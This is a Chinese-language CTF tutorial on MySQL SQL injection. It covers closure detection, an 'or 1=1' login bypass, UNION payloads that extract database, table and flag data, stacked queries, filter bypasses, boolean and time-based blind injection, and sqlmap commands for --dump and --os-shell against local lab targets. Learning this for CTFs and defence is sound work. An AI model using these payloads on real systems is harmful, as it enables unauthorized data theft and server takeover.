本章基于mysql讲解

mysql常用查询语句

select database();查找当前所处数据库
show databases;查找所有的数据库
select schema_name from information_schema.schemata;同上

show tables from DB_NAME;查数据库中的所有表
select table_name from DB_NAME;同上

show columns from TABLE_NAME;查找当前表中的所有列
describe(DESC) TABLE_NAME;同上

  • SELECT [DISTINCT] [CONCAT (col1,“:”,col2) as col] selection_list |要查询的内容,选择哪些列
  • FROM 数据表名tb_list |指定数据表
  • WHERE primary_constraint |查询时需要满足的内容
  • GROUP BY grouping_columns |如何对结果进行分组
  • ORDER BY sorting_columns |如何对结果进行排序
  • HAVING secondary_constraint |查询时满足的第二条件
  • LIMIT |限定输出的查询结果

判断闭合方式

方法1:
首先我们可以使用(转义字符)来判断SQL注入的闭合方式。
原理:当闭合字符遇到转义字符时,会被转义,那么没有闭合符的语句就不完整了,就会报错,通过报错信息我们就可以推断出闭合符。
分析报错信息:看\斜杠后面跟着的字符,是什么字符,它的闭合字符就是什么,若是没有,就为数字型。
方法2:

  1. 首先尝试:
    ?id=1’
    ?id=1”
    结果一:如果都报错
    判断闭合符为:整形闭合。

  2. 结果二:如果单引号报错,双引号不报错。
    继续尝试
    ?id=1’ –-+
    结果1:无报错
    判断闭合符为:单引号闭合。
    结果2:报错
    判断闭合符可能为:单引号加括号。

  3. 结果三:如果单引号不报错,双引号报错。
    继续尝试
    ?id=1" -–+
    结果1:结果无报错
    判断闭合符为:双引号闭合。
    结果2:报错
    判断闭合符可能为:双引号加括号。

注意:这里的括号不一定只有一个,闭合符里是允许多个括号组合成闭合符的,具体要判段有多少个括号,可用二分法快速判断

万能密钥

当知道其sql闭合方式后,则可以使用或等方式使其判断为true实现万能密钥的功能
例:1'or 1=1 --+

联合查询

获取列数

order by 1/2/3/4....第n个报错则列数为(n-1)

获取库名(schema)

?id=-1' union select 1,2,database()--+(%20)
`?id=-1’ union select 1,2,group_concat(schema_name)from information_schema.schemata --+``

基于union的规则尽量让前面的数为负数或者0,要让前面失败才能执行后面的语句

获取表名(table)

?id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema="moectf"--+(%20)

获取列名(column)

?id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema="moectf" and table_name='flag'--+(%20)

获取数据

?id=0' union select 1,2,group_concat(flag) from moectf.flag --+

堆叠注入

在mysql中,可以通过;来执行多个命令
这样攻击者就可以通过在一个查询中执行多个SQL语句来实现对数据库的多个操作,从而绕过应用程序的限制和过滤。
?id=1';show databases --+

bypass

  1. url编码
  2. 不可打印字符(见ascii表,用url编码表示)
  3. /**/代替空格
  4. 双写绕过 例:uunionnion

盲注

即在SQL注入过程中,SQL语句执行查询后,查询数据不能直接出现到前端中,需要使用一些特殊的方式来判断或尝试,这个过程成为盲注
盲注一般分为布尔盲注与时间盲注两类,不仅在WEB题目中出现,也经常出现在misc的盲注日志分析中

布尔盲注(有回显)

利用 = < > 来让服务器判断是否正确从而返回True或False,适用有回显信息时
例如:
admin' and substr(database(),1,1) > 'a' #返回true
admin' and substr(database(),1,1) > 'b' #返回false
由于字符b在字符a的后面,即ascii值大于a,所以爆破出数据库名的第一位为b
例题:

ISCTF2023 1z_Ssql


admin' and substr((select §xx§ from bthcls.§xx§ limit 0,1),1,1)>'a' #
这里是拿到了表和列的字典,只有当匹配到对应表列有值时才会去判断其值的第一位ascii值是否大于a的ascii值
这里把a换成前一位的会更好一些

通过判断回显数据包长度不同得到hint

时间盲注(无回显)

利用 sleep() 函数实现,当服务器判断正确时执行sleep函数,导致回显时间与非正确时出现差别,适用于无回显信息时
?id=1' and if(length(database())>8,sleep(2),0) --+
如果数据库名的长度大于8则睡眠两秒,通过判断回显时长得到信息

sqlmap

sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。

常用指令
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1"GET请求
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --batch全部默认
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --data="id=1&user=admin"POST请求
sqlmap -u URL --level 1测试复杂等级(1-5)
查询所有数据库
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs
输出指定数据库名字下的全部表
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables
输出指定数据名下指定表下的全部列
sqlmap -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns
输出指定数据库指定列指定字段下的全部数据
sqlmap -u "http://127.0.0.1/sqli-labs/Less-1/?id=1" -D security -T users -C password --dump
Getshell
sqlmap -u "http://127.0.0.1/sqli-labs/Less-4/?id=1" --os-shell

未完待续

参考:
sql注入中关于“–+“,“–“和“#“
MySQL基本语句手册(查找必备!!)
Sqlmap使用指南(手把手保姆版)